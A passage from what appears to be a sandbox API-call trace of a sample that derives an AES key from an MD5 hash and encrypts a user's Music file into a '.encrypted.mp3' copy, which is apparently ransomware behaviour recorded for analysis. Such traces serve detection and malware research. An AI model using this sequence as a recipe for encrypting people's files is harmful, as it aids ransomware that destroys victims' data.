out: lpWideCharStr=0x0) returned 38 [0026.726] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f435a010, cbMultiByte=38, lpWideCharStr=0xe8f40699b0, cchWideChar=38 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.mp3") returned 38 [0026.726] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.727] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.727] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.727] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0026.727] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0026.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0026.727] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f41783e0, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0026.727] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0026.728] CloseHandle (hObject=0x188) returned 1 [0026.728] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0026.728] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.728] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0026.728] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.728] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0026.728] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0026.728] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.729] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.729] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.729] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.729] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.729] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0026.729] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.729] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f40632e0) returned 1 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.730] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.730] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.730] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.730] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0026.730] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0026.731] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.731] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.731] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.731] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.731] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.731] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.731] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.731] CryptCreateHash (in: hProv=0xe8f40632e0, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.732] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.732] CryptHashData (hHash=0xe8f4062aa0, pbData=0xe8f418bb10, dwDataLen=0x20, dwFlags=0x1) returned 1 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.732] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0026.732] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.732] CryptDeriveKey (in: hProv=0xe8f40632e0, Algid=0x660e, hBaseData=0xe8f4062aa0, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f40624f0) returned 1 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.732] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.732] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0026.732] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.733] CryptDestroyHash (hHash=0xe8f4062aa0) returned 1 [0026.733] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.734] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\5gt6ul.mp3"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0026.734] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1 [0026.734] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe930, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe930*=0) returned 1 [0026.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.734] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.735] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.735] GetFileAttributesW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\" (normalized: "c:\\users\\5jghkoaofdp\\music")) returned 0x11 [0026.735] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Music\\5gT6Ul.encrypted.mp3" (normalized: "c:\\users\\5jghkoaofdp\\music\\5gt6ul.encrypted.mp3"), dwDesiredAccess=0xc0000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0026.735] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.735] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.735] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.735] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.737] SetFilePointerEx (in: hFile=0x188, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dfe9e0, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dfe9e0*=0) returned 1 [0026.737] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x1d5b, lpOverlapped=0x0) returned 1 [0026.737] ReadFile (in: hFile=0x188, lpBuffer=0xe8f435a010, nNumberOfBytesToRead=0x10000, lpNumberOfBytesRead=0xe8f3dfea20, lpOverlapped=0x0 | out: lpBuffer=0xe8f435a010*, lpNumberOfBytesRead=0xe8f3dfea20*=0x0, lpOverlapped=0x0) returned 1 [0026.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.739] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0026.739] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTDATA", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTDATA") returned 0x12 [0026.740] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.740] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0026.740] CharUpperBuffW (in: lpsz="__CRYPT_GETCALGFROMCRYPTKEY", cchLength=0x1b | out: lpsz="__CRYPT_GETCALGFROMCRYPTKEY") returned 0x1b [0026.740] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.740] CharLowerBuffW (in: lpsz="uint;dword", cchLength=0xa | out: lpsz="uint;dword") returned 0xa [0026.740] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.740] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.740] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0026.740] PeekMessageW (in: lpMsg=0xe8f3dfd7f0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfd7f0) returned 0 [0026.741] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0026.741] CryptGetKeyParam (in: hKey=0xe8f40624f0, dwParam=0x7, pbData=0xe8f4064ce0, pdwDataLen=0xe8f3dfd858, dwFlags=0x0 | out: pbData=0xe8f4064ce0*=0x660e, pdwDataLen=0xe8f3dfd858*=0x4) returned 1 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe090) returned 0 [0026.741] PeekMessageW (in: lpMsg=0xe8f3dfe090, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, 